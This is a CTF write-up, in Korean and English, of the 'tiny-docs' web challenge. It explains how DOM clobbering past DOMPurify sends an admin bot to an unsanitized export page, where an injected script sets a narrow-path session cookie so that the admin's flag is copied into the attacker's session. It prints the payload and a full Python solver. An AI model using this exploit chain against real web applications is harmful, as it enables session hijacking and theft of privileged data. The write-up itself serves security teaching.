HyperSonic CTF Writeup CTF/Wargame

HyperSonic CTF 2026 tiny-docs Writeup

HyperSonic CTF 2026 tiny-docs 문제 풀이HyperSonic CTF 2026 tiny-docs writeup

Contents

개요

tiny-docs는 짧은 HTML 문서를 만들고 관리자 봇에게 검토를 요청할 수 있는 웹 문제입니다. 사용자는 회원가입 후 문서를 생성할 수 있고, 생성된 /doc/<uuid> 경로를 /report로 보내면 관리자 권한의 Chromium이 해당 문서를 엽니다.

확인한 조건은 다음과 같습니다.

  • 카테고리: web
  • 문서 본문은 최대 300바이트입니다.
  • 문서 본문에는 제한된 문자만 들어갈 수 있습니다.
  • /report는 직접 /download나 /flag를 열 수 없고 /doc/<uuid> 형식만 허용합니다.
  • /flag는 관리자 세션에서만 접근할 수 있습니다.

목표는 관리자 봇이 가진 권한으로 /flag를 방문하게 만들고, 그 결과를 공격자 세션으로 복사하는 것입니다. 핵심은 같은 문서가 /doc와 /download에서 서로 다르게 처리된다는 점입니다.

문제 분석

사용할 용어는 다음과 같습니다.

  • raw: 사용자가 입력한 원본 문서 본문입니다.
  • doc: /doc/<uuid>에서 렌더링되는 문서 페이지입니다.
  • download: /download/<uuid>에서 반환되는 내보내기 페이지입니다.
  • sess: 서버가 세션을 식별하는 쿠키 이름입니다.
  • 공격자 세션: 일반 사용자로 가입했을 때 받은 세션입니다.
  • 관리자 세션: 관리자 봇이 /admin-login을 거쳐 받은 세션입니다.
  • inbox: 사용자 정보 조회에서 확인할 수 있는 서버 측 저장 공간입니다.

문서 생성 시 본문은 base64로 전달되지만, 서버는 디코딩한 raw에 대해 길이와 문자 집합을 검사합니다.

javascript
const MAX_DOCUMENT_LENGTH = 300;
const DOCUMENT_BODY_RE = /^[\x00\xfe\xffA-Za-z0-9 '.\-\/;<=>]*$/;

const raw = atob(String(payload.body_b64 || ""));
if (raw.length > MAX_DOCUMENT_LENGTH) {
  ...
}
if (!DOCUMENT_BODY_RE.test(raw)) {
  ...
}

이 정규식은 괄호, 콜론, 큰따옴표를 허용하지 않습니다. 대신 알파벳, 숫자, 공백, 작은따옴표, 마침표, 하이픈, 슬래시, 세미콜론, <, >, =는 사용할 수 있습니다. 따라서 일반적인 JavaScript payload를 그대로 쓰기는 어렵지만, 태그와 단순 대입문은 구성할 수 있습니다.

문서 조회 페이지는 raw를 DOMPurify로 정화한 뒤 article 안에 넣습니다.

javascript
function sanitizeMarkup(raw) {
  return DOMPurify.sanitize(String(raw), {
    USE_PROFILES: { html: true },
    ALLOW_DATA_ATTR: true,
  });
}

function docPage(id, doc) {
  const clean = sanitizeMarkup(doc.raw);
  ...
  return `...<article id="document">${clean}</article>...`;
}

이 화면에서는 <script>가 실행되지 않습니다. 다음과 같은 입력은 정화 후 앵커만 남고 스크립트는 제거됩니다.

html
<a id=docSlot data-range=0></a><script>...</script>

정화 결과는 다음처럼 유지됩니다.

html
<a data-range="0" id="docSlot"></a>

그런데 /doc 페이지에는 별도의 부트스트랩 스크립트가 있습니다.

javascript
var x = window.docSlot;
if (x && x.dataset && /^\d{1,8}$/.test(x.dataset.range || "")) {
  location.href = "/download/<id>?range=" + x.dataset.range;
}

Chromium에서는 id를 가진 일부 요소가 window.<id> 형태의 named property로 노출됩니다. 따라서 정화된 <a id=docSlot data-range=0>만으로도 window.docSlot을 만들 수 있습니다. data-range=0은 숫자 검사를 통과하므로, 관리자 봇은 허용된 /doc 페이지를 연 뒤 같은 오리진의 /download/<uuid>?range=0으로 이동합니다.

/download 쪽 처리는 더 직접적입니다.

javascript
function exportDocument(doc) {
  return EXPORT_PREFIX + doc.raw + EXPORT_SUFFIX;
}

const exported = exportDocument(doc);
const start = hasRange
  ? Math.max(0, Math.min(exported.length, Number(url.searchParams.get("range")) || 0))
  : 0;
const body = exported.slice(start);

send(res, 200, body, {
  "Content-Type": "text/html",
  "Content-Security-Policy": HTML_CSP,
}, "latin1");

여기서는 doc.raw를 다시 정화하지 않습니다. 응답도 text/html이고 CSP에는 script-src 'self' 'unsafe-inline'이 포함되어 있습니다. 즉 /doc에서는 제거되던 <script>가 /download에서는 그대로 실행됩니다.

세션 처리도 풀이에 중요합니다. 서버는 같은 이름의 sess 쿠키가 여러 개 있으면 요청 헤더에 먼저 나온 값을 현재 세션으로 사용합니다.

javascript
function getSessionCandidates(req) {
  const out = [];
  for (const part of String(req.headers.cookie || "").split(";")) {
    ...
    if (key !== "sess") continue;
    const sid = decodeURIComponent(part.slice(index + 1).trim());
    const session = sessions.get(sid);
    if (session) out.push({ sid, session });
  }
  return out;
}

function getSession(req) {
  return getSessionCandidates(req)[0] || null;
}

/flag는 관리자 세션의 inbox에 flag를 저장한 뒤 /download/collect로 POST 요청을 보냅니다.

javascript
function flagPage(auth) {
  auth.session.inbox = FLAG;
  return `...<script>fetch('/download/collect',{method:'POST',credentials:'same-origin'}).catch(()=>{})</script>...`;
}

그리고 /download/collect는 현재 세션과 다른 관리자 세션 후보를 찾아, 그 inbox 값을 현재 세션의 inbox로 복사합니다.

javascript
const auth = getSession(req);
const candidates = getSessionCandidates(req);
const source = candidates.find((item) =>
  item.sid !== auth.sid && item.session.isAdmin && item.session.inbox
);
auth.session.inbox = source.session.inbox.slice(0, 256);

이 구조 때문에 쿠키의 Path를 이용할 수 있습니다. /download에서 실행되는 스크립트가 공격자 세션을 Path=/download인 sess 쿠키로 설정하면, 브라우저에는 다음 두 쿠키가 함께 존재합니다.

text
sess=<attacker session>; Path=/download
sess=<admin session>; Path=/

/flag 요청에는 Path=/download 쿠키가 맞지 않으므로 관리자 세션만 전송됩니다. 그 결과 /flag는 정상적으로 관리자 inbox에 flag를 저장합니다. 이어서 /download/collect 요청이 발생하면 두 쿠키가 모두 전송되고, 더 구체적인 /download 쿠키가 먼저 옵니다. 서버는 공격자 세션을 현재 세션으로 선택하고, 뒤쪽 후보에 있는 관리자 세션에서 flag를 복사합니다.

핵심 아이디어

두 가지 차이를 연결하면 다음 풀이 흐름이 나옵니다.

첫째, /report는 /doc/<uuid>만 허용하지만 /doc 내부 스크립트가 window.docSlot을 신뢰합니다. 정화된 HTML 안에 id=docSlot 요소를 남기면 DOM clobbering으로 관리자 봇을 /download로 이동시킬 수 있습니다.

둘째, /download는 원본 문서 HTML을 그대로 렌더링합니다. 여기서 실행되는 스크립트는 관리자 쿠키를 읽을 수는 없지만, 같은 이름의 공격자 세션 쿠키를 더 구체적인 Path로 새로 설정할 수 있습니다. 이후 /flag와 /download/collect가 서로 다른 쿠키 선택 결과를 갖게 되면서 flag가 공격자 세션으로 옮겨집니다.

정리하면 전체 흐름은 다음과 같습니다.

text
공격자 문서 생성
-> /doc/<uuid>에 DOM clobbering 요소 삽입
-> 관리자 봇이 /doc/<uuid> 방문
-> 부트스트랩 스크립트가 /download/<uuid>?range=0으로 이동
-> 원본 <script> 실행
-> Path=/download 공격자 sess 쿠키 설정
-> /flag 방문으로 관리자 inbox에 flag 저장
-> /download/collect에서 공격자 inbox로 flag 복사
-> /api/me로 공격자 inbox 확인

풀이 과정

Step 1. 문서 입력 제한 확인

문서 본문은 300바이트 이하이고 DOCUMENT_BODY_RE를 통과해야 합니다. 이 제한 때문에 fetch(...)처럼 괄호가 필요한 코드는 사용할 수 없습니다. 대신 다음과 같은 대입문은 허용 문자 안에서 만들 수 있습니다.

html
<script>document.cookie='sess=<attacker session>;path=/download';location='/flag'</script>

document.cookie=...로 쿠키를 설정하고, location=...으로 이동하는 방식이라 괄호가 필요하지 않습니다. 공격자 세션 ID는 crypto.randomBytes(24).toString("hex")로 만들어지는 48자리 16진수 문자열이므로 정규식 제한에도 걸리지 않습니다.

최종 문서 본문은 다음 구조를 사용합니다.

html
<a id=docSlot data-range=0></a><script>document.cookie='sess=<attacker session>;path=/download';location='/flag'</script>

실제 세션 길이를 기준으로 payload는 151바이트였고, 300바이트 제한 안에 들어갑니다.

Step 2. /doc에서 /download로 이동시키기

/report는 /doc/<uuid>만 받기 때문에 관리자 봇에게 /download를 직접 열게 할 수 없습니다. 대신 /doc 페이지의 부트스트랩 스크립트를 이용합니다.

DOMPurify는 <script>를 제거하지만, ALLOW_DATA_ATTR 설정 때문에 <a id=docSlot data-range=0>는 남깁니다. Chromium에서 이 요소는 window.docSlot으로 접근할 수 있으므로 다음 검사를 만족합니다.

javascript
var x = window.docSlot;
if (x && x.dataset && /^\d{1,8}$/.test(x.dataset.range || "")) {
  location.href = "/download/<id>?range=" + x.dataset.range;
}

data-range=0을 넣었기 때문에 이동 대상은 /download/<uuid>?range=0이 됩니다. range=0은 내보내기 페이지의 시작 위치를 그대로 유지하므로, 원본 문서에 들어 있던 <script>가 포함된 전체 HTML이 반환됩니다.

Step 3. /download에서 공격자 세션 쿠키 설정하기

/download는 exportDocument(doc) 결과를 그대로 반환합니다. 이때 원본 <script>는 정화되지 않고 실행됩니다.

html
<script>document.cookie='sess=<attacker session>;path=/download';location='/flag'</script>

이 스크립트는 관리자 세션 쿠키를 읽지 않습니다. 관리자 쿠키는 HttpOnly이므로 JavaScript에서 접근할 수 없지만, 같은 이름의 새 쿠키를 다른 Path로 설정하는 것은 가능합니다.

여기서 Path=/download를 선택하는 이유가 중요합니다. 공격자 쿠키가 /flag에 전송되면 /flag가 공격자 권한으로 처리되어 403이 됩니다. 반대로 /download 경로에만 맞도록 만들면 /flag에서는 관리자 세션이 유지되고, /download/collect에서는 공격자 쿠키가 관리자 쿠키보다 먼저 선택됩니다.

Step 4. /download/collect로 flag 복사하기

관리자 세션으로 /flag에 접근하면 서버는 관리자 세션의 inbox에 flag를 저장합니다. 그 페이지는 곧바로 /download/collect에 POST 요청을 보냅니다.

이 요청의 쿠키 후보는 다음 순서가 됩니다.

text
1. Path=/download 공격자 sess
2. Path=/ 관리자 sess

서버의 getSession()은 첫 번째 후보를 현재 세션으로 사용합니다. 이후 /download/collect는 나머지 후보 중 isAdmin이고 inbox가 있는 세션을 찾아 현재 세션으로 복사합니다. 따라서 /api/me를 공격자 세션으로 조회하면 inbox에서 flag를 확인할 수 있습니다.

Exploit / Solver

최종 solver는 다음 순서로 동작합니다.

  1. 임의 사용자로 가입해 공격자 sess 값을 얻습니다.
  2. docSlot 앵커와 /download에서 실행될 <script>를 합쳐 문서를 만듭니다.
  3. 생성된 /doc/<uuid>를 /report에 전달해 관리자 봇이 열게 합니다.
  4. 잠시 후 /api/me를 조회해 inbox에 저장된 값을 읽습니다.

핵심 루틴은 다음과 같습니다. base, username, password 준비와 일부 예외 처리는 생략했습니다.

python
import base64
import json
import re
import time
import urllib.parse
import urllib.request


def request(base, method, path, data=None, cookie=None, timeout=15):
    body = None
    headers = {}
    if data is not None:
        body = json.dumps(data).encode()
        headers["Content-Type"] = "application/json"
    if cookie:
        headers["Cookie"] = cookie
    req = urllib.request.Request(
        urllib.parse.urljoin(base, path),
        data=body,
        headers=headers,
        method=method,
    )
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.status, dict(resp.headers), resp.read().decode("utf-8", "replace")


def cookie_from(headers):
    raw = headers.get("Set-Cookie", "")
    match = re.search(r"\bsess=([^;]+)", raw)
    if not match:
        raise RuntimeError("missing sess cookie")
    return urllib.parse.unquote(match.group(1))


status, headers, _ = request(base, "POST", "/api/signup", {
    "username": username,
    "password": password,
})
sid = cookie_from(headers)

payload = (
    f"<a id=docSlot data-range=0></a>"
    f"<script>document.cookie='sess={sid};path=/download';location='/flag'</script>"
)

status, headers, body = request(base, "POST", "/api/documents", {
    "title": "tiny note",
    "filename": "export.html",
    "body_b64": base64.b64encode(payload.encode("latin1")).decode(),
}, cookie=f"sess={sid}")
doc_path = json.loads(body)["path"]

request(base, "POST", "/report", {"url": doc_path}, timeout=20)

for _ in range(8):
    status, headers, body = request(base, "GET", "/api/me", cookie=f"sess={sid}")
    inbox = json.loads(body).get("inbox", "")
    if inbox:
        print(inbox)
        break
    time.sleep(0.5)

결과

같은 방식을 테스트 실행에서 먼저 확인했을 때 테스트 flag가 공격자 inbox로 복사되었습니다. 이후 실제 서비스에서도 flag를 회수했습니다.

text
HS{0d438c531a572a287482c30c687c1ce47b0ac560}

Overview

tiny-docs is a web challenge where you create short HTML documents and can ask an admin bot to review them. Users can create documents after signing up, and if you send the generated /doc/<uuid> path to /report, a Chromium instance with admin privileges opens that document.

The conditions I confirmed:

  • Category: web
  • The document body is at most 300 bytes.
  • Only a restricted set of characters is allowed in the document body.
  • /report cannot open /download or /flag directly; it only accepts the /doc/<uuid> form.
  • /flag is accessible only from the admin session.

The goal is to make the admin bot visit /flag with its privileges and have the result copied into the attacker's session. The key is that the same document is handled differently by /doc and /download.

Challenge analysis

The terms used in this writeup:

  • raw: the original document body entered by the user.
  • doc: the document page rendered at /doc/<uuid>.
  • download: the export page returned at /download/<uuid>.
  • sess: the cookie name the server uses to identify a session.
  • Attacker session: the session received when signing up as a normal user.
  • Admin session: the session the admin bot receives via /admin-login.
  • inbox: a server-side storage area visible in the user info lookup.

When creating a document, the body is passed as base64, but the server checks the length and character set of the decoded raw.

javascript
const MAX_DOCUMENT_LENGTH = 300;
const DOCUMENT_BODY_RE = /^[\x00\xfe\xffA-Za-z0-9 '.\-\/;<=>]*$/;

const raw = atob(String(payload.body_b64 || ""));
if (raw.length > MAX_DOCUMENT_LENGTH) {
  ...
}
if (!DOCUMENT_BODY_RE.test(raw)) {
  ...
}

This regex disallows parentheses, colons, and double quotes. On the other hand, letters, digits, spaces, single quotes, periods, hyphens, slashes, semicolons, <, >, and = are allowed. So it is hard to use a typical JavaScript payload as-is, but tags and simple assignment statements can be constructed.

The document view page sanitizes raw with DOMPurify and then places it inside an article.

javascript
function sanitizeMarkup(raw) {
  return DOMPurify.sanitize(String(raw), {
    USE_PROFILES: { html: true },
    ALLOW_DATA_ATTR: true,
  });
}

function docPage(id, doc) {
  const clean = sanitizeMarkup(doc.raw);
  ...
  return `...<article id="document">${clean}</article>...`;
}

A <script> does not run on this screen. For input like the following, only the anchor survives sanitization and the script is removed.

html
<a id=docSlot data-range=0></a><script>...</script>

The sanitized result is preserved as follows.

html
<a data-range="0" id="docSlot"></a>

However, the /doc page has a separate bootstrap script.

javascript
var x = window.docSlot;
if (x && x.dataset && /^\d{1,8}$/.test(x.dataset.range || "")) {
  location.href = "/download/<id>?range=" + x.dataset.range;
}

In Chromium, some elements with an id are exposed as a named property of the form window.<id>. So even just the sanitized <a id=docSlot data-range=0> is enough to create window.docSlot. Since data-range=0 passes the numeric check, the admin bot opens the allowed /doc page and then navigates to the same-origin /download/<uuid>?range=0.

The /download side is more direct.

javascript
function exportDocument(doc) {
  return EXPORT_PREFIX + doc.raw + EXPORT_SUFFIX;
}

const exported = exportDocument(doc);
const start = hasRange
  ? Math.max(0, Math.min(exported.length, Number(url.searchParams.get("range")) || 0))
  : 0;
const body = exported.slice(start);

send(res, 200, body, {
  "Content-Type": "text/html",
  "Content-Security-Policy": HTML_CSP,
}, "latin1");

Here doc.raw is not sanitized again. The response is text/html, and the CSP includes script-src 'self' 'unsafe-inline'. In other words, the <script> that was removed at /doc runs as-is at /download.

Session handling is also important for the solution. If there are multiple sess cookies with the same name, the server uses the value that appears first in the request header as the current session.

javascript
function getSessionCandidates(req) {
  const out = [];
  for (const part of String(req.headers.cookie || "").split(";")) {
    ...
    if (key !== "sess") continue;
    const sid = decodeURIComponent(part.slice(index + 1).trim());
    const session = sessions.get(sid);
    if (session) out.push({ sid, session });
  }
  return out;
}

function getSession(req) {
  return getSessionCandidates(req)[0] || null;
}

/flag stores the flag in the admin session's inbox, then sends a POST request to /download/collect.

javascript
function flagPage(auth) {
  auth.session.inbox = FLAG;
  return `...<script>fetch('/download/collect',{method:'POST',credentials:'same-origin'}).catch(()=>{})</script>...`;
}

And /download/collect looks for an admin session candidate different from the current session, and copies its inbox value into the current session's inbox.

javascript
const auth = getSession(req);
const candidates = getSessionCandidates(req);
const source = candidates.find((item) =>
  item.sid !== auth.sid && item.session.isAdmin && item.session.inbox
);
auth.session.inbox = source.session.inbox.slice(0, 256);

Because of this structure, we can abuse the cookie Path. If the script running at /download sets the attacker session as a sess cookie with Path=/download, the browser ends up holding both of the following cookies.

text
sess=<attacker session>; Path=/download
sess=<admin session>; Path=/

The Path=/download cookie does not match a /flag request, so only the admin session is sent. As a result, /flag normally stores the flag in the admin inbox. Then when the /download/collect request is made, both cookies are sent, and the more specific /download cookie comes first. The server selects the attacker session as the current session, and copies the flag from the admin session in the later candidate.

Main idea

Chaining the two differences gives the solution flow.

First, /report only accepts /doc/<uuid>, but the script inside /doc trusts window.docSlot. By leaving an element with id=docSlot inside the sanitized HTML, we can use DOM clobbering to redirect the admin bot to /download.

Second, /download renders the original document HTML as-is. The script that runs here cannot read the admin cookie, but it can set a new attacker-session cookie with the same name under a more specific Path. Once /flag and /download/collect end up with different cookie selection results, the flag is moved into the attacker's session.

To summarize, the overall flow is as follows.

text
Attacker creates a document
-> Insert a DOM clobbering element into /doc/<uuid>
-> Admin bot visits /doc/<uuid>
-> Bootstrap script navigates to /download/<uuid>?range=0
-> The original <script> executes
-> Set a Path=/download attacker sess cookie
-> Visiting /flag stores the flag in the admin inbox
-> /download/collect copies the flag into the attacker inbox
-> Check the attacker inbox via /api/me

Solution walkthrough

Step 1. Checking the document input restrictions

The document body must be at most 300 bytes and pass DOCUMENT_BODY_RE. Because of this restriction, code that needs parentheses, like fetch(...), cannot be used. Instead, assignment statements like the following can be built within the allowed character set.

html
<script>document.cookie='sess=<attacker session>;path=/download';location='/flag'</script>

It sets a cookie with document.cookie=... and navigates with location=..., so no parentheses are needed. The attacker session ID is a 48-character hex string generated by crypto.randomBytes(24).toString("hex"), so it does not trip the regex restriction either.

The final document body uses the following structure.

html
<a id=docSlot data-range=0></a><script>document.cookie='sess=<attacker session>;path=/download';location='/flag'</script>

Based on the actual session length, the payload was 151 bytes, which fits within the 300-byte limit.

Step 2. Navigating from /doc to /download

Since /report only accepts /doc/<uuid>, we cannot make the admin bot open /download directly. Instead, we use the bootstrap script on the /doc page.

DOMPurify removes <script>, but because of the ALLOW_DATA_ATTR setting it keeps <a id=docSlot data-range=0>. In Chromium this element is accessible as window.docSlot, so it satisfies the following check.

javascript
var x = window.docSlot;
if (x && x.dataset && /^\d{1,8}$/.test(x.dataset.range || "")) {
  location.href = "/download/<id>?range=" + x.dataset.range;
}

Since we set data-range=0, the navigation target becomes /download/<uuid>?range=0. range=0 keeps the export page's start position intact, so the full HTML containing the <script> from the original document is returned.

/download returns the result of exportDocument(doc) as-is. At this point the original <script> runs without being sanitized.

html
<script>document.cookie='sess=<attacker session>;path=/download';location='/flag'</script>

This script does not read the admin session cookie. The admin cookie is HttpOnly, so it cannot be accessed from JavaScript, but setting a new cookie with the same name under a different Path is possible.

The reason for choosing Path=/download here is important. If the attacker cookie is sent to /flag, /flag is processed with attacker privileges and returns 403. Conversely, if we make it match only the /download path, the admin session is preserved at /flag, while at /download/collect the attacker cookie is selected before the admin cookie.

Step 4. Copying the flag via /download/collect

When /flag is accessed with the admin session, the server stores the flag in the admin session's inbox. That page immediately sends a POST request to /download/collect.

The cookie candidates for this request come in the following order.

text
1. Path=/download attacker sess
2. Path=/ admin sess

The server's getSession() uses the first candidate as the current session. Then /download/collect finds a candidate among the rest that is isAdmin and has an inbox, and copies it into the current session. So looking up /api/me with the attacker session shows the flag in the inbox.

Exploit / Solver

The final solver works in the following order.

  1. Sign up as an arbitrary user to obtain the attacker sess value.
  2. Combine the docSlot anchor with the <script> that will run at /download to build the document.
  3. Send the generated /doc/<uuid> to /report so the admin bot opens it.
  4. After a short wait, query /api/me to read the value stored in the inbox.

The core routine is as follows. Preparation of base, username, and password, and some error handling, are omitted.

python
import base64
import json
import re
import time
import urllib.parse
import urllib.request


def request(base, method, path, data=None, cookie=None, timeout=15):
    body = None
    headers = {}
    if data is not None:
        body = json.dumps(data).encode()
        headers["Content-Type"] = "application/json"
    if cookie:
        headers["Cookie"] = cookie
    req = urllib.request.Request(
        urllib.parse.urljoin(base, path),
        data=body,
        headers=headers,
        method=method,
    )
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.status, dict(resp.headers), resp.read().decode("utf-8", "replace")


def cookie_from(headers):
    raw = headers.get("Set-Cookie", "")
    match = re.search(r"\bsess=([^;]+)", raw)
    if not match:
        raise RuntimeError("missing sess cookie")
    return urllib.parse.unquote(match.group(1))


status, headers, _ = request(base, "POST", "/api/signup", {
    "username": username,
    "password": password,
})
sid = cookie_from(headers)

payload = (
    f"<a id=docSlot data-range=0></a>"
    f"<script>document.cookie='sess={sid};path=/download';location='/flag'</script>"
)

status, headers, body = request(base, "POST", "/api/documents", {
    "title": "tiny note",
    "filename": "export.html",
    "body_b64": base64.b64encode(payload.encode("latin1")).decode(),
}, cookie=f"sess={sid}")
doc_path = json.loads(body)["path"]

request(base, "POST", "/report", {"url": doc_path}, timeout=20)

for _ in range(8):
    status, headers, body = request(base, "GET", "/api/me", cookie=f"sess={sid}")
    inbox = json.loads(body).get("inbox", "")
    if inbox:
        print(inbox)
        break
    time.sleep(0.5)

Result

When I first verified the same approach in a test run, the test flag was copied into the attacker inbox. Afterwards I retrieved the flag from the real service as well.

text
HS{0d438c531a572a287482c30c687c1ce47b0ac560}
Esc

Search titles, content and code.